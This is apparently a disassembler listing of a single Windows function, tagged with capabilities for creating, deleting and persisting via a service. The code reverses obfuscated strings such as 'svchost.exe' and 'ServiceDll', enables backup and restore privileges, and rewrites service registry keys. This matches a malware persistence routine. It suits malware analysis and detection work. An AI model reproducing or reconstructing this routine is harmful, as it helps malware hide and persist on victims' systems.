Function at 0x401000
Capabilities:
Create service
Delete registry key
Delete service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b8
push edi
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.k__exe.tsohcvs]
mov dword [ebp - 0x11c], eax
mov ecx, dword [0x42c684]
mov dword [ebp - 0x118], ecx
mov edx, dword [0x42c688]
mov dword [ebp - 0x114], edx
mov ax, word [0x42c68c]
mov word [ebp - 0x110], ax
mov cl, byte [0x42c68e]
mov byte [ebp - 0x10e], cl
lea edx, [ebp - 0x11c]
push edx
call sub.MSVCRT.dll__strrev
add esp, 4
push 0x20
mov eax, dword [ebp + 0x18]
push eax
call sub.MSVCRT.dll_strchr
add esp, 8
test eax, eax
je 0x4010a2
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0x11c]
push edx
push str.__SystemRoot__System32_s___s_
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x4010c2
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0x11c]
push edx
push str.__SystemRoot__System32_s__s
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x10c], eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
push 0
push 2
mov edx, dword [ebp + 0x1c]
push edx
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x4014c7
mov byte [ebp - 0x51c], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x51b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.SYSTEMCurrentControlSetServices_]
push eax
lea ecx, [ebp - 0x51c]
push ecx
call fcn.004023f0
add esp, 8
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x51c]
push eax
call fcn.00402420
add esp, 8
push 0
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [ebp + 0x10]
push edx
push 1
push str.Description
lea eax, [ebp - 0x51c]
push eax
push 0x80000002
call fcn.00401520
add esp, 0x1c
cmp dword [ebp + 0x20], 0
je 0x4011f6
mov ecx, dword [ebp + 0x20]
movsx edx, byte [ecx]
test edx, edx
je 0x4011f6
mov eax, dword [str.crCetadpU]
mov dword [ebp - 0x5ac], eax
mov ecx, dword [0x42c62c]
mov dword [ebp - 0x5a8], ecx
mov dx, word [0x42c630]
mov word [ebp - 0x5a4], dx
push 1
mov eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 0x20]
push ecx
push 1
lea edx, [ebp - 0x5ac]
push edx
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
lea eax, [ebp - 0x51c]
push eax
push 0x80000002
call fcn.00401520
add esp, 0x1c
cmp dword [0x42d0f0], 0
jne 0x4012a9
push 0x104
push 0
lea ecx, [ebp - 0x6b0]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [0x42cb44], 0
jne 0x40122f
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x42cb44], eax
push 0x104
lea edx, [ebp - 0x6b0]
push edx
mov eax, dword [0x42cb44]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [str.eludom]
mov dword [ebp - 0x6b8], ecx
mov dx, word [0x42c624]
mov word [ebp - 0x6b4], dx
mov al, byte [0x42c626]
mov byte [ebp - 0x6b2], al
push 0
lea ecx, [ebp - 0x6b0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x6b0]
push edx
push 1
lea eax, [ebp - 0x6b8]
push eax
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
lea ecx, [ebp - 0x51c]
push ecx
push 0x80000002
call fcn.00401520
add esp, 0x1c
push str.parameters
lea edx, [ebp - 0x51c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push str.SeBackupPrivilege
call fcn.00402370
push 1
push str.SeRestorePrivilege
call fcn.00402370
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x51c]
push eax
push 0x80000002
call fcn.00401520
add esp, 0x1c
mov byte [ebp - 0x58c], 0
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x58b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.soFTwARE_
lea ecx, [ebp - 0x58c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x58c]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
lea eax, [ebp + eax - 0x58c]
mov dword [ebp - 0x59c], eax
push 0xa
mov ecx, dword [ebp - 0x59c]
push ecx
call fcn.00401c40
add esp, 8
mov edx, dword [str.lldecivres]
mov dword [ebp - 0x528], edx
mov eax, dword [0x42c5d8]
mov dword [ebp - 0x524], eax
mov cx, word [0x42c5dc]
mov word [ebp - 0x520], cx
mov dl, byte [0x42c5de]
mov byte [ebp - 0x51e], dl
mov eax, dword [str.niamecivres]
mov dword [ebp - 0x598], eax
mov ecx, dword [0x42c5cc]
mov dword [ebp - 0x594], ecx
mov edx, dword [0x42c5d0]
mov dword [ebp - 0x590], edx
push 0
mov eax, dword [ebp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 2
lea edx, [ebp - 0x528]
push edx
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
lea eax, [ebp - 0x58c]
push eax
push 0x80000002
call fcn.00401520
add esp, 0x1c
push 1
push 0
call fcn.00401a70
push eax
push 1
lea ecx, [ebp - 0x598]
push ecx
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
lea edx, [ebp - 0x58c]
push edx
push 0x80000002
call fcn.00401520
add esp, 0x1c
lea eax, [ebp - 0x5a0]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x58c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
mov edx, dword [ebp - 0x59c]
push edx
mov eax, dword [ebp - 0x5a0]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSaveKeyA]
lea ecx, [ebp - 0x5a0]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x51c]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 8
mov eax, dword [ebp - 0x59c]
push eax
mov ecx, dword [ebp - 0x5a0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegRestoreKeyA]
mov edx, dword [ebp - 0x59c]
push edx
call fcn.00401f80
add esp, 4
lea eax, [ebp - 0x58c]
push eax
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ecx, dword [ebp - 0x108]
push ecx
call fcn.00401b30
add esp, 4
mov edx, dword [ebp + 0x14]
push edx
call fcn.004021b0
add esp, 4
test eax, eax
jne 0x4014c7
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 0x108], 0
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x108]
pop edi
mov esp, ebp
pop ebp
ret